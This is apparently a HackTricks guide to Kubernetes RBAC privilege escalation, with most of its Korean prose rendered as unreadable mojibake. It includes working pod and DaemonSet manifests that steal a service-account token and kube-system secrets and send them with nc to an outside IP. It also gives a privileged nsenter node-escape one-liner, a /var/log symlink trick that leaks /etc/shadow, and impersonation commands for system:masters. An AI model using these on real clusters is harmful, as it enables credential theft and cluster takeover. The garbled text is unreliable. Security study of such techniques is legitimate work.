Abusing Roles/ClusterRoles in Kubernetes

HackTricks ์ง€์›ํ•˜๊ธฐ

์—ฌ๊ธฐ์—์„œ ์ž ์žฌ์ ์œผ๋กœ ์œ„ํ—˜ํ•œ ์—ญํ•  ๋ฐ ํด๋Ÿฌ์Šคํ„ฐ ์—ญํ•  ๊ตฌ์„ฑ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. kubectl api-resources๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ง€์›๋˜๋Š” ๋ชจ๋“  ๋ฆฌ์†Œ์Šค๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Œ์„ ๊ธฐ์–ตํ•˜์„ธ์š”.

๊ถŒํ•œ ์ƒ์Šน

ํด๋Ÿฌ์Šคํ„ฐ ๋‚ด์—์„œ ๋‹ค๋ฅธ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋‹ค๋ฅธ ์ฃผ์ฒด์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์–ป๋Š” ๊ธฐ์ˆ ์„ ์˜๋ฏธํ•˜๋ฉฐ(์ฟ ๋ฒ„๋„คํ‹ฐ์Šค ํด๋Ÿฌ์Šคํ„ฐ ๋‚ด ๋˜๋Š” ์™ธ๋ถ€ ํด๋ผ์šฐ๋“œ์—), Kubernetes์—๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๊ธฐ ์œ„ํ•œ 4๊ฐ€์ง€ ์ฃผ์š” ๊ธฐ์ˆ ์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค ํด๋Ÿฌ์Šคํ„ฐ ๋‚ด ๋˜๋Š” ์™ธ๋ถ€ ํด๋ผ์šฐ๋“œ์—์„œ ๋” ๋‚˜์€ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž/๊ทธ๋ฃน/SA๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ

  • ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค ํด๋Ÿฌ์Šคํ„ฐ ๋‚ด ๋˜๋Š” ์™ธ๋ถ€ ํด๋ผ์šฐ๋“œ์—์„œ ๋” ๋‚˜์€ ๊ถŒํ•œ์„ ๊ฐ€์ง„ SA๋ฅผ ์ฐพ๊ฑฐ๋‚˜ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋Š” pod๋ฅผ ์ƒ์„ฑ/ํŒจ์น˜/์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ

  • SA ํ† ํฐ์ด ๋น„๋ฐ€๋กœ ์ €์žฅ๋˜๋ฏ€๋กœ ๋น„๋ฐ€์„ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ

  • ์ปจํ…Œ์ด๋„ˆ์—์„œ ๋…ธ๋“œ๋กœ ํƒˆ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ, ์—ฌ๊ธฐ์„œ ๋…ธ๋“œ์—์„œ ์‹คํ–‰ ์ค‘์ธ ์ปจํ…Œ์ด๋„ˆ์˜ ๋ชจ๋“  ๋น„๋ฐ€, ๋…ธ๋“œ์˜ ์ž๊ฒฉ ์ฆ๋ช… ๋ฐ ํด๋ผ์šฐ๋“œ ๋‚ด์—์„œ ์‹คํ–‰ ์ค‘์ธ ๋…ธ๋“œ์˜ ๊ถŒํ•œ์„ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์žˆ๋Š” ๊ฒฝ์šฐ)

  • ์–ธ๊ธ‰ํ•  ๊ฐ€์น˜๊ฐ€ ์žˆ๋Š” ๋‹ค์„ฏ ๋ฒˆ์งธ ๊ธฐ์ˆ ์€ pod์—์„œ ํฌํŠธ ํฌ์›Œ๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์œผ๋กœ, ํ•ด๋‹น pod ๋‚ด์˜ ํฅ๋ฏธ๋กœ์šด ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ชจ๋“  ๋ฆฌ์†Œ์Šค ๋˜๋Š” ๋™์‚ฌ์— ์ ‘๊ทผํ•˜๊ธฐ (์™€์ผ๋“œ์นด๋“œ)

์™€์ผ๋“œ์นด๋“œ (*)๋Š” ๋ชจ๋“  ๋™์‚ฌ๋กœ ๋ชจ๋“  ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. ๊ด€๋ฆฌ์ž๊ฐ€ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ํด๋Ÿฌ์Šคํ„ฐ ์—ญํ•  ๋‚ด์—์„œ ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ํด๋Ÿฌ์Šคํ„ฐ์˜ ๋ชจ๋“  ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋ฅผ ๋‚จ์šฉํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

ํŠน์ • ๋™์‚ฌ๋กœ ๋ชจ๋“  ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๊ธฐ

RBAC์—์„œ ํŠน์ • ๊ถŒํ•œ์€ ์ƒ๋‹นํ•œ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค:

  1. create: ๋ชจ๋“  ํด๋Ÿฌ์Šคํ„ฐ ๋ฆฌ์†Œ์Šค๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์˜ ์œ„ํ—˜์ด ์žˆ์Šต๋‹ˆ๋‹ค.

  2. list: ๋ชจ๋“  ๋ฆฌ์†Œ์Šค๋ฅผ ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ์–ด ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์œ ์ถœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  3. get: ์„œ๋น„์Šค ๊ณ„์ •์˜ ๋น„๋ฐ€์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜์—ฌ ๋ณด์•ˆ ์œ„ํ˜‘์ด ๋ฉ๋‹ˆ๋‹ค.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

๊ถŒํ•œ์ด ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” ํฌ๋“œ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํฌ๋“œ์— ํŠน๊ถŒ ์„œ๋น„์Šค ๊ณ„์ •์„ ์—ฐ๊ฒฐํ•˜๊ณ  ํ† ํฐ์„ ํ›”์ณ ์„œ๋น„์Šค ๊ณ„์ •์„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํšจ๊ณผ์ ์œผ๋กœ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

bootstrap-signer ์„œ๋น„์Šค ๊ณ„์ •์˜ ํ† ํฐ์„ ํ›”์ณ ๊ณต๊ฒฉ์ž์—๊ฒŒ ์ „์†กํ•˜๋Š” ํฌ๋“œ์˜ ์˜ˆ:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod ์ƒ์„ฑ ๋ฐ ํƒˆ์ถœ

๋‹ค์Œ์€ ์ปจํ…Œ์ด๋„ˆ๊ฐ€ ๊ฐ€์งˆ ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๊ถŒํ•œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค:

  • ํŠน๊ถŒ ์•ก์„ธ์Šค (๋ณดํ˜ธ ๊ธฐ๋Šฅ ๋น„ํ™œ์„ฑํ™” ๋ฐ ๊ธฐ๋Šฅ ์„ค์ •)

  • ๋„ค์ž„์ŠคํŽ˜์ด์Šค hostIPC ๋ฐ hostPid ๋น„ํ™œ์„ฑํ™” ๊ถŒํ•œ ์ƒ์Šน์— ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

  • hostNetwork ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๋น„ํ™œ์„ฑํ™”, ๋…ธ๋“œ์˜ ํด๋ผ์šฐ๋“œ ๊ถŒํ•œ์„ ํ›”์น˜๊ณ  ๋„คํŠธ์›Œํฌ์— ๋” ๋‚˜์€ ์ ‘๊ทผ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค

  • ํ˜ธ์ŠคํŠธ๋ฅผ ์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€์— ๋งˆ์šดํŠธ

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

๋‹ค์Œ๊ณผ ๊ฐ™์ด ํฌ๋“œ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:

kubectl --token $token create -f mount_root.yaml

One-liner from this tweet์™€ ๋ช‡ ๊ฐ€์ง€ ์ถ”๊ฐ€ ์‚ฌํ•ญ:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

์ด์ œ ๋…ธ๋“œ๋กœ ํƒˆ์ถœํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๋‹ค์Œ์˜ ํŽ˜์ด์ง€์—์„œ ํƒˆ์ถœ ํ›„ ํ™œ์šฉ ๊ธฐ์ˆ ์„ ํ™•์ธํ•˜์„ธ์š”:

Stealth

์•„๋งˆ๋„ ๋” ์€๋ฐ€ํ•˜๊ฒŒ ํ–‰๋™ํ•˜๊ณ  ์‹ถ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ๋Š” ์ด์ „ ํ…œํ”Œ๋ฆฟ์—์„œ ์–ธ๊ธ‰๋œ ์ผ๋ถ€ ๊ถŒํ•œ๋งŒ ํ™œ์„ฑํ™”ํ•˜์—ฌ pod๋ฅผ ์ƒ์„ฑํ•  ๊ฒฝ์šฐ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋‚ด์šฉ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Privileged + hostPID

  • Privileged only

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

์ด์ „์˜ ํŠน๊ถŒ ์žˆ๋Š” pod ๊ตฌ์„ฑ ์ƒ์„ฑ/์•…์šฉ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์˜ˆ์‹œ๋Š” https://github.com/BishopFox/badPods ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Pod Create - Move to cloud

pod(๋ฐ ์„ ํƒ์ ์œผ๋กœ service account)๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, pod ๋˜๋Š” service account์— ํด๋ผ์šฐ๋“œ ์—ญํ• ์„ ํ• ๋‹นํ•˜์—ฌ ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์—์„œ ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ํ˜ธ์ŠคํŠธ ๋„คํŠธ์›Œํฌ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋กœ pod๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋…ธ๋“œ ์ธ์Šคํ„ด์Šค์˜ IAM ์—ญํ• ์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ์•…์šฉํ•˜์—ฌ ์ƒˆ๋กœ์šด pod๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด์ „ ์˜ˆ์ œ์™€ ๊ฐ™์ด ๊ถŒํ•œ์„ ํ™•๋ฆฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ yaml์€ daemonset์„ ์ƒ์„ฑํ•˜๊ณ  pod ๋‚ด๋ถ€์˜ SA ํ† ํฐ์„ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

**pods/exec**๋Š” ํฌ๋“œ ๋‚ด๋ถ€์—์„œ ์…ธ์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” kubernetes์˜ ๋ฆฌ์†Œ์Šค์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ์…ธ์— ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ํฌ๋“œ์— ๋“ค์–ด๊ฐ€ SA์˜ ํ† ํฐ์„ ํ›”์น˜๊ฑฐ๋‚˜, ํŠน๊ถŒ ํฌ๋“œ์— ๋“ค์–ด๊ฐ€ ๋…ธ๋“œ๋กœ ํƒˆ์ถœํ•˜์—ฌ ๋…ธ๋“œ์˜ ๋ชจ๋“  ํฌ๋“œ ํ† ํฐ์„ ํ›”์น˜๊ณ  (์•…์šฉ)ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

์ด ๊ถŒํ•œ์€ ํ•˜๋‚˜์˜ ๋กœ์ปฌ ํฌํŠธ๋ฅผ ์ง€์ •๋œ ํฌ๋“œ์˜ ํ•˜๋‚˜์˜ ํฌํŠธ๋กœ ํฌ์›Œ๋”ฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ด๋Š” ํฌ๋“œ ๋‚ด๋ถ€์—์„œ ์‹คํ–‰ ์ค‘์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‰ฝ๊ฒŒ ๋””๋ฒ„๊น…ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ด์ง€๋งŒ, ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ํฌ๋“œ ๋‚ด๋ถ€์˜ ํฅ๋ฏธ๋กœ์šด (์˜ˆ: DB) ๋˜๋Š” ์ทจ์•ฝํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ (์›น?)์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

As indicated in this research, if you can access or create a pod with the hosts /var/log/ directory mounted on it, you can escape from the container. This is basically because the when the Kube-API tries to get the logs of a container (using kubectl logs <pod>), it requests the 0.log file of the pod using the /logs/ endpoint of the Kubelet service. The Kubelet service exposes the /logs/ endpoint which is just basically exposing the /var/log filesystem of the container.

๋”ฐ๋ผ์„œ, /var/log/ ํด๋”์— ์“ธ ์ˆ˜ ์žˆ๋Š” ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” ์ด ํ–‰๋™์„ 2๊ฐ€์ง€ ๋ฐฉ๋ฒ•์œผ๋กœ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ์ž์‹ ์˜ ์ปจํ…Œ์ด๋„ˆ์˜ 0.log ํŒŒ์ผ์„ ์ˆ˜์ •ํ•˜์—ฌ (๋ณดํ†ต /var/logs/pods/namespace_pod_uid/container/0.log์— ์œ„์น˜) ์˜ˆ๋ฅผ ๋“ค์–ด /etc/shadow๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ˜ธ์ŠคํŠธ์˜ shadow ํŒŒ์ผ์„ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • ๊ณต๊ฒฉ์ž๊ฐ€ nodes/log๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์ฃผ์ฒด๋ฅผ ์ œ์–ดํ•˜๋Š” ๊ฒฝ์šฐ, ๊ทธ๋Š” ๋‹จ์ˆœํžˆ /host-mounted/var/log/sym์— /์— ๋Œ€ํ•œ symlink๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, https://<gateway>:10250/logs/sym/์— ์ ‘๊ทผํ•  ๋•Œ ํ˜ธ์ŠคํŠธ์˜ ๋ฃจํŠธ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (symlink๋ฅผ ๋ณ€๊ฒฝํ•˜๋ฉด ํŒŒ์ผ์— ๋Œ€ํ•œ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

์‹คํ—˜์‹ค ๋ฐ ์ž๋™ํ™”๋œ ์ต์Šคํ”Œ๋กœ์ž‡์€ https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

readOnly ๋ณดํ˜ธ ์šฐํšŒ

์šด์ด ์ข‹๋‹ค๋ฉด, ๊ณ ๊ธ‰ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋Šฅ๋ ฅ CAP_SYS_ADMIN์ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ, ํด๋”๋ฅผ rw๋กœ ๋‹ค์‹œ ๋งˆ์šดํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

์ด ์—ฐ๊ตฌ์—์„œ ์–ธ๊ธ‰๋œ ๋ฐ”์™€ ๊ฐ™์ด, ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

์ด์ „๊ณผ ๊ฐ™์€ ํƒˆ์ถœ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด hostPath ๋งˆ์šดํŠธ ๋Œ€์‹  PersistentVolume๊ณผ PersistentVolumeClaim์„ ์‚ฌ์šฉํ•˜์—ฌ ์ปจํ…Œ์ด๋„ˆ์— ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์ ‘๊ทผ ๊ถŒํ•œ์œผ๋กœ ํ˜ธ์ŠคํŠธ ํด๋”๋ฅผ ๋งˆ์šดํŠธํ•˜๋Š” ๊ฒƒ์„ ์˜๋ฏธํ–ˆ์Šต๋‹ˆ๋‹ค:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

ํŠน๊ถŒ ๊ณ„์ • ๊ฐ€์žฅํ•˜๊ธฐ

์‚ฌ์šฉ์ž ๊ฐ€์žฅํ•˜๊ธฐ ๊ถŒํ•œ์„ ์‚ฌ์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ํŠน๊ถŒ ๊ณ„์ •์„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

kubectl ๋ช…๋ น์—์„œ --as=<username> ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•˜๊ฑฐ๋‚˜, --as-group=<group>์„ ์‚ฌ์šฉํ•˜์—ฌ ๊ทธ๋ฃน์„ ๊ฐ€์žฅํ•˜์‹ญ์‹œ์˜ค:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

๋˜๋Š” REST API๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

๋น„๋ฐ€์„ ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์‹ค์ œ๋กœ ๋น„๋ฐ€์„ ์ฝ์„ ์ˆ˜ ์žˆ๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค REST API ์—”๋“œํฌ์ธํŠธ์— ์ ‘๊ทผํ•˜์—ฌ:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

๋น„๋ฐ€ ์ฝ๊ธฐ โ€“ ํ† ํฐ ID ๋ฌด์ž‘์œ„ ๋Œ€์ž…

์ฝ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ํ† ํฐ์„ ์†Œ์œ ํ•œ ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด ๋น„๋ฐ€์˜ ์ •ํ™•ํ•œ ์ด๋ฆ„์ด ํ•„์š”ํ•˜์ง€๋งŒ, ๋” ๋„“์€ ๋น„๋ฐ€ ๋‚˜์—ด ๊ถŒํ•œ๊ณผ๋Š” ๋‹ฌ๋ฆฌ ์—ฌ์ „ํžˆ ์ทจ์•ฝ์ ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์‹œ์Šคํ…œ์˜ ๊ธฐ๋ณธ ์„œ๋น„์Šค ๊ณ„์ •์€ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฐ ๊ณ„์ •์€ ๋น„๋ฐ€๊ณผ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋น„๋ฐ€์€ ์ •์  ์ ‘๋‘์‚ฌ ๋’ค์— ํŠน์ • ๋ฌธ์ž๋ฅผ ์ œ์™ธํ•œ ๋ฌด์ž‘์œ„ 5์ž๋ฆฌ ์•ŒํŒŒ๋ฒณ ์ˆซ์ž ํ† ํฐ์ด ์˜ค๋Š” ์ด๋ฆ„ ๊ตฌ์กฐ๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค(์†Œ์Šค ์ฝ”๋“œ).

ํ† ํฐ์€ ์ „์ฒด ์•ŒํŒŒ๋ฒณ ์ˆซ์ž ๋ฒ”์œ„๊ฐ€ ์•„๋‹Œ ์ œํ•œ๋œ 27์ž ์ง‘ํ•ฉ(bcdfghjklmnpqrstvwxz2456789)์—์„œ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด ์ œํ•œ์œผ๋กœ ์ธํ•ด ๊ฐ€๋Šฅํ•œ ์กฐํ•ฉ์˜ ์ด ์ˆ˜๋Š” 14,348,907(27^5)๋กœ ์ค„์–ด๋“ญ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” ๋ช‡ ์‹œ๊ฐ„ ๋‚ด์— ํ† ํฐ์„ ์ถ”๋ก ํ•˜๊ธฐ ์œ„ํ•ด ๋ฌด์ž‘์œ„ ๋Œ€์ž… ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ๋ฏผ๊ฐํ•œ ์„œ๋น„์Šค ๊ณ„์ •์— ์ ‘๊ทผํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ธ์ฆ์„œ ์„œ๋ช… ์š”์ฒญ

